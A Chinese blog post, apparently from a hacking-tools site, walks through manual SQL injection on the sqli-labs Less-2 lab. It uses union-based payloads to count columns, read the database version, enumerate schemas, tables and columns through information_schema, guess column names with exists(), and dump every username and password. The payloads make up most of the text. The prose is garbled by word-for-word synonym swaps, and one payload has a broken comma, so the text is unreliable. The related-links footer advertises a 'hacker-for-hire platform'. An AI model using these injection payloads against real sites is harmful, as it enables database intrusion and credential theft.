浅谈web安全之手艺检测sql注入以及取得信息

访客5年前黑客工具1163

所谓SQL注入,便是经过把SQL指令刺进到Web表单递送或输入域名或页面恳求的查询字符串,终究到达诈骗服务器履行歹意的SQL指令。
查验是否可以注入
and 1=1 正常
and 1=2 犯错
http://localhost/sqlilabs/Less-2/?id=1 是一个注入点。
后台的SQL句子的写法大致为
select username,password,[....] from table where id=userinput得到字段总数
那么咱们经过运用order by的句子来判别select所查询字段的数目。
那么payload变为:
http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....
得到显现位当运用order by 4时程序犯错,那么select的字段一共是3个。
在页面上会显现从select中选取的字段,咱们接下来便是要判别显现的字段是哪几个字段。
运用如下的payload(两者均可)进行判别。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

当运用个如上的payload时,页面的显现如下:
经过如上的页面显现就可以知道,页面中显现的是第2位和第3位的信息。
查选库
在知道了显现位之后,那么接下来就可以经过显现位来显现咱们想知道的信息,如数据库的版别,用户信息等等。那么咱们运用如下的payload就可以知道相关的信息。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此刻页面的显现为:
可以看到在页面上就呈现了数据库的版别信息和当时运用的数据库信息。
那么接下来咱们经过这种办法知道数据库中一切的数据库的称号。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到之一个库名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二个库名
因为database()回来的便是当时web程序所运用的数据库名,那么咱们就运用database()来查询一切的表信息。当然在上一步中。咱们也现已知道当时的database便是security。查选表名
那么咱们结构的payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

这样咱们就得到当时数据库下一切的表名了。页面回来的成果是:
所以咱们知道在当时的数据库中存在4张表,分别是emails,referers,uagents,users。
查选列名
在知道了表名之后,接下来咱们运用information_schema.columns就可以依据表名来获取当时表中一切的字段。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)
经过这个句子,咱们就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password这些字段。可是我本地测验的测验的时分,这个存在一个问题,实际上在security数据库的users的表中,只要id,username,password这3个字段,其他的字段都是其他数据库的中users表的字段名。

经过上面的payload,咱们也相同可以知道在emails,referers,uagents中的字段称号。
可是有的时分后台的代码或许仅用了运用where子句,那么这个时分就无法经过information_schema.coumns来得到列名了,这个时分只可以依据你自己多年的黑客经历来进行猜解了。猜解的办法也是比较的简略,运用exists子句就可以进行猜解了。假设在咱们现已知道了表名的情况下(当然猜解表名也运用经过exists子句来完结)。
猜解的句子如下:
http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)
如下如所示:首要的句子便是exists(select 需求猜解的列名 from users)这种句式。如果在users表中不存在uname列名,则页面不会显现内容或者是直接呈现sql的过错句子。

下面这个便是猜解到了users表中存在的字段。
http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)
脱裤猜想在users表中存在username列,上面的句子程序可以正常第回来成果,那么寿命在users表中的确存在username列名。
在知道了当时数据库一切的表名和字段名之后,接下来咱们就可以dump数据库中一切的信息了。比方咱们下载当时users表中一切的数据。
可以运用如下的payload:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users
就可以得到users表中一切的username和password的数据了,经过这种办法也可以得到其他表中的数据了。
 

相关文章

怎么打造“钢筋混凝土”型的网络环境

简化、优化你的补丁办理 许多进犯机制,都是针对未修补的体系。所以,不论你的网络是否对外开放,都应该定时更新操作体系和应用程序。尽管这个主张归于陈词滥调,但从另一个旁边面也说明晰该主张的重要性。 关于W...

ARM架构上用来替代JTAG的调试协议SWD-黑客接单平台

关于嵌入式开发人员和专门进犯硬件的黑客来说,JTAG 实践上是调试和拜访微处理器寄存器的标准。该协议已运用多年,至今仍在运用,JTAG调试接口有必要运用VCC、GND电源信号,以及TMS、TCK、TD...

谷歌为G-Suite服务布置全新反钓鱼和歹意软件检测功用

Google 为 G Suite 服务推出了全新安全功用,包括企业云核算,生产力和协作东西。 现在企业用户能够运用 Gmail 来绑定企业自定义域名,并进行商务和企业内部的邮件联络。 而G Suite...

使用QL和LGTM进行变异分析-黑客接单平台

在软件开发中,咱们常常看到相同的代码过错在项目的生命周期中重复呈现。这些相同的过错甚至会呈现在多个项目中。有时,这些过错一同有多个活动实例,有时一次只要一个活动实例,可是它们不断地从头呈现。当这些过错...

PHP反序列化与WordPress一些意外BUG的风趣结合

几个月前,我正在编写一篇关于PHP反序列化缝隙的博客文章,决定为这篇文章找一个实在方针,能够让我将测试数据传输给PHP unserialize ()函数来完结演示意图。所以我下载了一批WordPres...

RIG exploit kit:歹意活动剖析陈述

尽管攻击方式不算复杂,但是RIG仍然能通过一些恶意软件活动获得较大的流量。而那些利用被黑站点和恶意广告,重定向到RIG的流量,是通过服务端的302跳转机制,或者是通过客户端的iframe和JS脚本...